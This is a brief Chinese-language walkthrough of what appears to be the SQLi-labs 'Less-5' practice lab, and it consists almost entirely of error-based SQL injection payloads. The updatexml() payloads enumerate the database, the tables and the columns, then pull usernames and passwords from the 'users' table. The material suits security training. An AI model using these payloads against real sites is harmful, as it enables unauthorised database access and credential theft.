Less5
单引号闭合
?id=1' and 1=2%23
?id=1' and 1=2%23
?id=1' order by 3%23
1、爆库
联合查询后发现没有回显
这里选择报错注入
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
2、查表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23
3、差列
由于长度限制,我们分别查询
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) %23
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e),1) %23
4、查数据
同理依次取得账号密密码
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) %23